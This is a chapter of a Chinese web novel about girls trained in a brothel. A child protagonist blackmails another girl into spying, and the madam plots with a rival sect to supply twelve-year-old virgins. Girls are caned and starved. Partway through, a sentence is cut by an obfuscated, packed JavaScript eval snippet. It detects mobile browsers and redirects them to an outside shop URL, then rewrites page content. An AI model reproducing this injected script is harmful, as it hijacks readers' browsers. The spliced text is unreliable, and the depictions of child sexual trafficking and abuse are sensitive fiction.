占春芳受训的姑娘是没有钱的。准弟子则不同,每人每月都有五百文钱的零花。 “当然是真的。我总不能让你白干活吧。”姜晗拿出了一对银耳坠,“这个就先送给你,作为我的诚意。” 彩漪怔怔接过,“银的?” 受训姑娘大多是没有金银首饰的。 她们都还在留头的阶段,只在头顶两侧蓄发。两年后,才开始真正留全头的头发。 这两年里,陈妈妈不会给她们准备贵重首饰,分发的无非就是发带头绳、小朵绢花或者铜制木制的饰品。银饰日常只会提供给花间门准弟子,有时也作为给成绩优异姑娘的奖励。 彩漪从没得到过银饰,姜晗是所有姑娘里拥有银饰最多的人。 “好好做事,我不会亏待你的。不过,前提是你记录的是真实可信的。如果敢胡编乱造,你之前拿的,我也要你加倍还回来,明白吗?” “明……明白了。”彩漪抹了抹眼泪,站了起来,“可……可我的字写得不好,还有很多字不会写。” “不要紧,画图也行,总之用你能记录的办法。我看不明白的话,会主动找你的。” 听到主动找你四个字,彩漪抖了一抖。 “你可别想着糊弄我。我以后但凡少了东西,就找你要。若我多了好东西,那就是我的了,谁要是找我讨,我只让她来找你。我要是多了不好的东西,也会算在你头上,记住了吗?” “记……记……记住了。可是……”彩漪还是很担心,“如果被人发现了怎么办?” 这是个很实际的问题,彩漪不像姜晗可以住单人间,行动有很大的束缚。姜晗考虑过前世谍战剧的经典桥段,米汤记录,碘酒显迹。问题是,米汤淀粉都好找,碘酒找不到还是白搭。姜晗连化学元素周期表都还给老师的大脑又没有其他的办法,只得放弃走科技路线。 “被发现了也不要紧。”姜晗无所谓道,“谁要是敢质疑你,你就说不服的话,就一起到妈妈跟前理论。” “啊?这……” “这什么这!”姜晗不耐烦道,“你以为我凭什么让你做这些?” 彩漪张大了嘴,“难道……难道是妈……” “嘘。”姜晗捂住彩漪的嘴,“你知我知妈妈知,不到万不得已,不能说出去,懂了吗?” 彩漪忙点头。 找完彩漪,姜晗让小环去新住所收拾东西,自己则去了陈妈妈的院子。 21. 异心 姜晗知道,陈妈妈可以容忍底下的姑娘拉帮结派对抗,但是不会容忍有人私自以她的名头行事。自己已经扯了虎皮,就必须在她那儿备个案。虽然准弟子颇有地位,但陈妈妈是现管,谁知道会有什么意外。况且,自己做的事瞒不过小环,小环一定会私下里告诉陈妈妈。 姜晗也想过不让彩漪记录,口头传消息,这比纸笔记录风险小。但这是彩漪的风险小,姜晗的风险反而大了。上下嘴皮子一碰,胡扯一通,到时候姜晗根据错误的消息行事,彩漪完全可以推个一干二净,这不是搬起石头砸自己的脚吗? 既如此,就用最笨的办法。反正就算暴露了,有陈妈妈的旗号,也没人敢求证。退一万步,彩漪说出是她姜晗指使的,谁敢动她呢?姑娘们的怨恨,不敢对陈妈妈,不敢对姜晗,只会对着彩漪。 陈妈妈有些惊讶姜晗的到来。 “怜侬,你怎么到我这儿来了?” 姜晗咬了咬唇,眼眶红红的,怯生生地跪了下来,“妈妈……我……我好像做错事了。” “怎么了?”陈妈妈连忙上前把姜晗搀起来,“别怕,和妈妈说怎么了,放心,我不会罚你的。” “我……我欺负了彩漪。” “欺负彩漪?你为什么欺负她?” “我今日要搬住处,想着和平日里关系好的告个别,就找了彩漪。谁知道,彩漪把我拉到角落里,对我阴阳怪气的,反正就是不忿我成了准弟子,还要上手打我。我气极,推了她,还骂了回去。她有些害怕,想跑,我就拦住了她。我问她,你为什么这样说我?彩漪说不是她说的,是好多人都看我不顺眼。” “这也不叫欺负啊。是她不好,先惹你的。”陈妈妈笑笑,“怜侬,你是想要我给你做主,罚她们吗?” 姜晗头摇得拨浪鼓似的,“妈妈,我绝没有这个意思。其实姐妹们平日相处得都很好,或许,这次是因为一点小变动,大家心里有些不平罢了。只是,她们不平,为何要说我的不是?既如此,我也不能忍气吞声。可是,我又不知道到底是谁对我有意见,所以……所以我就让彩漪告诉我,她不敢,我就……我就威胁她,她只得告诉了我。” “我想想还是气,又想到之前轻芳带人欺负我的事,更难受了。我就对她说,谁再说我坏话,对我使坏,她都必须告诉我,妈妈最喜欢我,一定会支持我的。如果她不照办,我……我就打她,还会告诉妈妈。”说着,握紧小粉拳挥了挥。 偷偷瞄了一眼陈妈妈,“妈妈,我……我不是想做什么,也不是故意攀扯您的,我只是……只是不想再被人欺负了。” 陈妈妈意味深长地笑笑,“原来是这样,放心吧,妈妈明白。她们说你坏话,当然是她们不对。你这算什么欺负?小题大做。”拿着手帕擦了擦姜晗的眼睛,“瞧瞧,眼泪珠子都能拌饭了,妈妈看得可心疼死了。乖,回去好好睡一觉,什么乱七八糟的,都不会记得了。” 姜晗感激地看着陈妈妈,“谢谢妈妈,妈妈对我真好。” 待姜晗离开,陈妈妈身边的许妈道:“这丫头,心思够深的,我看您得管管。” 陈妈妈嗤笑一声,“我干嘛要管?若非轻芳和彩漪不自量力,也不会一个去了下处,一个落在怜侬手里。我这占春芳,可不是养绵羊的地方。” 玉碧心选中的三位准弟子,都成了众矢之的。 姜晗之前遭遇了轻芳等人的霸凌。但也因为这件事,她不好惹的形象算是立住了。 第二位准弟子名叫芳舒,搬去新屋子前,柜子里的衣服坏了两件。芳舒看出来是人为划破的,可她不想把事情闹大,只以自己不小心划破衣服为由,上报给了陈妈妈。陈妈妈看出事情有异,但芳舒不提,她也不会追究,只安慰了几句,又给了两件新的。 蕊衣有点特别,她主动去找别人的麻烦。被花迎使选中的当日下午,她就让同屋的三个姑娘把鲜艳的衣裳首饰都交出来。四人扭打一团,衣服扯破了,簪花扯烂了,胭脂水粉摔了一地。蕊衣双拳难敌六手,被打得鼻青脸肿。 其他屋的姑娘见闹大了去劝,却被无辜波及。争斗间,蕊衣推了劝架的霓锦一把,要不是身边姑娘眼明手快地扶住,霓锦的脸怕是会被地上的碎石子擦伤。 自从云裳被卖,姜晗被花迎使选中,霓锦便成了陈妈妈最看中的花魁苗子。抢东西可以忍,未来花魁脸差点被伤不能忍。 陈妈妈恨不得给始作俑者一顿附骨水鞭子,再罚她去蹲困立锁,但还是压下了火气。 虽然花迎使说了,只有不打死不打残不接客不发卖,其他随便。可自己哪能真随便?附骨水鞭子、困立锁这种折磨人的刑罚,万一把准弟子弄出个好歹,倒霉的不还是自己? 蕊衣被狠抽了四十藤条,饿着肚子关了三天柴房。与她同屋的人,每人被罚三十藤条。 损坏的东西,陈妈妈命人重新置办。 这简直是花冤枉钱。 疼痛和饥饿让蕊衣变得老实多了。 然而陈妈妈清楚,蕊衣的老实就是暂时的。她会好了伤疤忘了疼。将来这种事情,肯定还会发生,且不会少。陈妈妈都不知道自己会收拾多少烂摊子。 想想她,再想想怜侬,陈妈妈感叹,“能自己解决麻烦,又不给我带来麻烦的,才是好姑娘。” 许妈听后不赞同,“不养绵羊,那也不能养条毒蛇。轻芳的事我就看出来了,这怜侬根本不像个八岁小孩儿,倒像……倒像……” “像什么?” “妖孽!” 陈妈妈一愣,顿时笑得前俯后仰,“你啊你,真会打比方。” “我跟您说真的。” 陈妈妈了然道:“我懂你的意思。妖孽才好呢!最好是只狐狸精。狐狸精的心思自然都是深的。这是好事,意味着她识时务,绝对不会做对自己不利的事情。” “可您别忘了,当初她硬气得很。浸过附骨水的鞭子,她都能撑那么久。我在占春芳这么多年,还没见过哪个像她那么能熬的。若她记恨您,将来在花间门得势,恐怕会反咬您一口。” 陈妈妈笑笑,“狐狸精只喜欢咬男人,咬我这个女人做什么?” 见许妈一脸无语,陈妈妈不和她开玩笑了,“你的顾虑,我明白。怜侬这丫头是不太像个八岁孩子,可这又如何?要在这世上活得潇洒,可不是只有深心思才行。我在风月场混了这么多年,又怎会没有一点手段?怜侬如果以为攀上花迎使,攀上花间门,就能扳倒我,那只能说,她的心思不够深,还得练呐!” 许妈见劝不动,只好岔开话题,“还有一件要紧的事,温柔窟联系上了。” “哦?”陈妈妈正色,“他们怎么说?” “他们说到底是第一次合作,得瞧瞧咱们的姑娘。” 陈妈妈拍了好几下桌子,“可惜了,不该把云裳卖去下处,就该留着给温柔窟才是。你说说,早不来晚不来,偏才卖了她,人家找上门了。” “您误会了,他们并不是要直接带走我们的姑娘,而是打算派人先到占春芳来看看,若是觉得姑娘们整体条件不错,就会以教习的名义留下来指导,然……” “开什么玩笑!”陈妈妈拒绝,“花间门和温柔窟是死对头,温柔窟的人在我这儿做教习,被发现了,我还有命在吗?还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478625|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,我这儿所有的教习都是一个萝卜一个坑,经过了花间门背景审查的,我怎么给她安排?不行,绝对不行。” “您别急,温柔窟说了,知道您的难处。教习的身家背景,他们都会安排妥当。” “风险太大了。”陈妈妈摇头,“花迎使才警告过我,我这会儿动手脚,找死吗?” “也不急在这几天。花迎使不是要回分舵了吗?等她不在的时候,让人进来。” “她自己不在,难占春芳就没她的人吗?温柔窟干嘛把事情搞这么复杂,直接装成客人来选人不就行了?” 许妈不赞同,“花迎使之前警告过,不满十四的姑娘不能接客,您怎么能让温柔窟装成客人挑呢?” “那让他们买十四岁以上的。” “他们说了,只要符合要求的十二岁左右的处子。” “我这儿十二岁的姑娘不是没有,他们看中哪个,我想办法把人弄个假死或发卖,到时候给温柔窟送去。他们同意,这生意就做下去,不同意就拉倒。” “恐怕不成,他们只要您空出一个外媚教习的位子。” 陈妈妈觉得有些不对,对许妈道:“你给我说明白了,他们为什么死盯着教习的位子不放?” 许妈不瞒陈妈妈,“我也问了,温柔窟的人说因为他们要的是有潜质成为孽望娘子的姑娘。” “什么!”察觉自己太大声了,陈妈妈捂住自己的嘴。 过了会儿,见没什么动静,她悄声对许妈道:“他们不是要春娥,是要挖花间门墙角?” 孽望娘子,是温柔窟主人亲传弟子的别称。 “春娥他们自然要,但找春娥是顺便,最要紧的是觅良才。” “看来生意做不成了。”陈妈妈摇手,“只要春娥倒没什么。就算将来东窗事发,花间门还能绕我一条小命。这帮着外人挖墙角,我死定了。” 许妈劝道:“搭上温柔窟,多个靠山多条路,您可要想好了。” “脚踩两条船,江湖大忌。做生意赚赚钱也就罢了,真搭上线,只怕到时候甩都甩不掉。” 许妈冷笑,“做生意就不算搭上线了?就算您只和温柔窟交易春娥,花间门会相信您只是赚银子?两面三刀的多了去了,世上有几个忠臣孝子?谁不骂婊子无情戏子无义。您是青楼的老鸨,这时候倒讲起江湖义气来了。” 陈妈妈听罢沉思。 许妈说得有道理。脚踏两条船的多了去了,还差自己一个吗?再说了,就算不为钱,也得为自己手上那个东西想想。 该死的杀千刀,偏偏留那么个麻烦给她。 唉,也怪自己贪心不足,想着待价而沽,留着留着,就成烫手山芋了。若是被花间门知道,定然会治自己的罪。既然如此,何不就引温柔窟进来,将来他们争起来,虽然危险,未必没有生机。 陈妈妈说:“我这儿的外媚教习好好的,无缘无故辞了会惹人怀疑。你和温柔窟的人说,他们要派人来也可以,但是不能直接上门。既然给我出了这么一个大难题,那也得让我见识见识他们的手段。” “您能不能说明白点?” 陈妈妈道:“世人皆知,花间情致销心魂,温柔鱼水蚀人骨。要进我占春芳做教习,温柔窟的人就得展现她们的长处。只要在北鞍郡打出了名气,大大小小的青楼都会有所耳闻,一定会争着聘请。到那时,我们也去,就不惹眼了。但若温柔窟没本事,那就一拍两散。” “您说的有理,我去和他们联系。” 许妈走后,有些疲惫的陈妈妈躺在床上,端详着一个不起眼的盒子,“花间门……温柔窟……”